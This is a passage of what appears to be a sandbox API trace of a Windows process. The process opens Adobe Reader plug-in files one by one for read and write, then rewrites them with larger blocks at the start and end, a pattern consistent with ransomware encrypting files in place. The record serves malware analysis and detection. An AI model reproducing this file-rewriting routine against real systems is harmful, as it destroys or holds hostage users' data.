lpBuffer=0x2805d18, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2805d18*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.911] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.912] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.912] CloseHandle (hObject=0x1a0) returned 1 [0039.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.912] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.912] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x44000 [0039.912] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.913] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.913] ReleaseMutex (hMutex=0x128) returned 1 [0039.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.mpp", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.mpp", lpUsedDefaultChar=0x0) returned 13 [0039.913] ReadFile (in: hFile=0x1a0, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.915] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x43000 [0039.916] ReadFile (in: hFile=0x1a0, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.922] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x43000 [0039.922] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.923] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.923] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.923] CloseHandle (hObject=0x1a0) returned 1 [0039.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.925] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.925] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.925] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.925] ReleaseMutex (hMutex=0x128) returned 1 [0039.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DEU", lpUsedDefaultChar=0x0) returned 16 [0039.925] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.932] CloseHandle (hObject=0x1a0) returned 1 [0039.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.933] ReleaseMutex (hMutex=0x128) returned 1 [0039.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x1e789ec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.PTB", lpUsedDefaultChar=0x0) returned 16 [0039.933] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.937] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.937] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.937] CloseHandle (hObject=0x1a0) returned 1 [0039.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\WindowsMedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\windowsmedia.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.937] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.937] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.937] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.937] ReleaseMutex (hMutex=0x128) returned 1 [0039.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.HRV", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.HRV", lpUsedDefaultChar=0x0) returned 16 [0039.938] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.943] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.943] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.943] CloseHandle (hObject=0x1a0) returned 1 [0039.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\MCIMPP.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\mcimpp.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.944] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.944] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0039.944] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.944] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.944] ReleaseMutex (hMutex=0x128) returned 1 [0039.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.RUM", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.RUM", lpUsedDefaultChar=0x0) returned 10 [0039.944] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0039.947] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.948] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0039.948] CloseHandle (hObject=0x1a0) returned 1 [0039.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\WindowsMedia.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\windowsmedia.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.949] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.949] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.949] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.949] ReleaseMutex (hMutex=0x128) returned 1 [0039.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.SKY", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.SKY", lpUsedDefaultChar=0x0) returned 16 [0039.949] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.951] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.951] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.951] CloseHandle (hObject=0x1a0) returned 1 [0039.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.951] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.951] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0039.952] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.952] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.952] ReleaseMutex (hMutex=0x128) returned 1 [0039.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.UKR", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.UKR", lpUsedDefaultChar=0x0) returned 10 [0039.952] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0039.958] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.958] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0039.959] CloseHandle (hObject=0x1a0) returned 1 [0039.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.959] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.959] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x25c63 [0039.959] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.959] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.959] ReleaseMutex (hMutex=0x128) returned 1 [0039.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.api", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.api", lpUsedDefaultChar=0x0) returned 12 [0039.960] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.961] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x24c63 [0039.961] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.962] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x24c63 [0039.962] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.963] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.963] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.963] CloseHandle (hObject=0x1a0) returned 1 [0039.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.366] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.367] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x301190 [0040.368] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0040.368] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.368] ReleaseMutex (hMutex=0x128) returned 1 [0040.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prcr.x3d", cchWideChar=8, lpMultiByteStr=0x1e6322c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prcr.x3d", lpUsedDefaultChar=0x0) returned 8 [0040.368] ReadFile (in: hFile=0x1a0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.385] ReadFile (in: hFile=0x1a0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.391] ReadFile (in: hFile=0x1a0, lpBuffer=0x27f6cc8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0040.391] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2ff190 [0040.391] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0040.446] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2ff190 [0040.450] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x3910000 [0040.453] WriteFile 